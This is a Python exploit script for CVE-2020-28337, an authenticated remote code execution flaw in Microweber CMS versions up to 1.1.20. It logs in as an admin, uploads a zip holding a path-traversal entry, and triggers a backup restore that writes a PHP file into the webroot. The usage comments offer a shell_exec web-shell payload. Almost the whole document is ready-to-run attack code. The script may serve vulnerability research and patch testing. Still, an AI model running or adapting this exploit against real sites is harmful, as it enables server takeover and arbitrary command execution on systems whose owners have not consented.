#!/usr/bin/python3 # Affects: Microweber v1.1.20 (maybe earlier?) # Exploit Title: Microweber CMS Remote Code Execution (RCE) via an authenticated admin user # Date: 2020-10-31 # Exploit Author: sl1nki # Vendor Homepage: https://microweber.org/ # Software Link: https://github.com/microweber/microweber/tree/1.1.20 # Version: <=1.1.20 # Tested on: Ubuntu 18.04 # CVE : CVE-2020-28337 # # Example usage with default phpinfo() payload: # ./microweber_rce.py \ # --hostname "http://microwebertest.com" \ # --username "admin" \ # --password "password123" # # # Example usage with custom payload (shell_exec): # ./microweber_rce.py \ # --hostname "http://microwebertest.com" \ # --username "admin" \ # --password "password123" \ # --payload '" . shell_exec($_REQUEST["fexec"]) . "";} ?>' # # Notes: # * SSL verification is disabled by default # * If for some reason the --target-path "/userfiles/cache/" doesn't work, "/userfiles/modules/" is a good one too. # # # import argparse import re import requests import sys import zipfile from io import BytesIO # Disable insecure SSL warnings requests.packages.urllib3.disable_warnings() class Microweber(): def __init__(self, baseUrl, proxies=None): self.baseUrl = baseUrl self.proxies = proxies self.cookies = None self.loginUrl = "/api/user_login" self.uploadUrl = "/plupload" self.moveZipToBackupUrl = "/api/Microweber/Utils/Backup/move_uploaded_file_to_backup" self.restoreBackupUrl = "/api/Microweber/Utils/Backup/restore" self.targetPath = "/userfiles/cache/" self.targetFilename = "payload.php" self.zipPayloadName = "payload.zip" def makePostRequest(self, url, data=None, files=None, headers=None): return requests.post(self.baseUrl + url, data=data, files=files, headers=headers, cookies=self.cookies, proxies=self.proxies, verify=False ) def makeGetRequest(self, url, params=None): return requests.post(self.baseUrl + url, params=params, cookies=self.cookies, proxies=self.proxies, verify=False ) def login(self, username, password): res = self.makePostRequest(self.loginUrl, data={ "username": username, "password": password }) if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == "You are logged in!": print(f"[+] Successfully logged in as {username}") self.cookies = res.cookies else: print(f"[-] Unable to login. Status Code: {res.status_code}") sys.exit(-1) def createZip(self, path=None, filename=None, payload=None): # In-memory adaptation of ptoomey3's evilarc # https://github.com/ptoomey3/evilarc if payload == None: payload = "" zd = BytesIO() zf = zipfile.ZipFile(zd, "w") # The custom Unzip class uses a path under the webroot for cached file extraction # /storage/cache/backup_restore// # so moving up 4 directories puts us at the webroot zf.writestr(f"../../../..{path}{filename}", payload) zf.close() return zd def uploadZip(self, zipData): # Upload the zip data as a general file res = self.makePostRequest(self.uploadUrl, headers={"Referer": ""}, data={ "name": self.zipPayloadName, "chunk": 0, "chunks": 1 }, files={"file": (self.zipPayloadName, zipData.getvalue(), "application/zip")} ) if res.status_code == 200: print(f"[+] Successfully uploaded: {self.zipPayloadName}") j = res.json() print(f"[+] URL: {j['src']}") print(f"[+] Resulting Filename: {j['name']}") self.zipPayloadName = j['name'] else: print(f"[-] Unable to upload: {self.zipPayloadName} (Status Code: {res.status_code})") sys.exit(-1) def getAbsoluteWebRoot(self): # Determine the webroot using the debug output and the DefaultController.php path res = self.makeGetRequest("", params={ "debug": "true" }) if res.status_code != 200: print(f"[-] Unable to collect debug information. Bad server response: {res.status_code}") sys.exit(-1) target = "src/Microweber/Controllers/DefaultController.php" m = re.findall('([\/\w]+)\/src\/Microweber\/Controllers\/DefaultController\.php', res.text) if len(m) == 1: return m[0] else: print(f"[-] Unable to determine the webroot using {target}. Found {len(m)} matches") def moveZipToBackup(self): # Move the uploaded zip file into the backup directory webRoot = self.getAbsoluteWebRoot() hostname = self.baseUrl.split("//")[1] src = f"{webRoot}/userfiles/media/{hostname}/{self.zipPayloadName}" res = self.makeGetRequest(self.moveZipToBackupUrl, params={ "src": src }) if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == f"{self.zipPayloadName} was uploaded!": print(f"[+] Successfully moved {self.zipPayloadName} to backup") else: print(f"[-] Unable to move zip to backup ({res.status_code})") sys.exit(-1) def restoreBackup(self, filename): # With the zip file in the backup directory, 'restore' it, which will cause it to be extracted unsafely res = self.makePostRequest(self.restoreBackupUrl, data={ "id": filename }) if res.status_code == 200 and "Backup was restored!" in res.text: print(f"[+] Successfully restored backup {filename}") else: print(f"[-] Unable to restore backup {filename}") sys.exit(-1) def exploit(self, payload=None): zipData = m.createZip(self.targetPath, self.targetFilename, payload=payload) m.uploadZip(zipData) m.moveZipToBackup() m.restoreBackup(self.zipPayloadName) print(f"[+] Successfully uploaded payload to {self.targetFilename}!") print(f"[+] Visit: {self.baseUrl}{self.targetPath}{self.targetFilename}") if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("--hostname", required=True, dest="hostname", help="Microweber hostname with protocol (e.g. http://microwebertest.com)") parser.add_argument("--http-proxy", required=False, dest="http_proxy", help="HTTP Proxy (e.g. http://127.0.0.1:8000)") parser.add_argument("--username", "-u", required=True, dest="username", help="Username of administrative user") parser.add_argument("--password", "-p", required=True, dest="password", help="Password of administrative user") parser.add_argument("--payload", required=False, dest="payload", help="Payload contents. Should be a string of PHP code. (default is phpinfo() )") # Uncommon args parser.add_argument("--target-file", required=False, dest="target_file", help="Target filename of the payload (default: payload.php") parser.add_argument("--target-path", required=False, dest="target_path", help="Target path relative to webroot for the payload (default: /userfiles/cache/") parser.add_argument("--zip-name", required=False, dest="zip_name", help="File name of tmp backup zip") args = parser.parse_args() proxies = None if args.http_proxy: proxies = { "http": args.http_proxy } m = Microweber(args.hostname, proxies=proxies) if args.target_file: m.targetFilename = args.target_file if args.target_path: m.targetPath = args.target_path if args.zip_name: m.zipPayloadName = args.zip_name m.login(args.username, args.password) m.exploit(args.payload)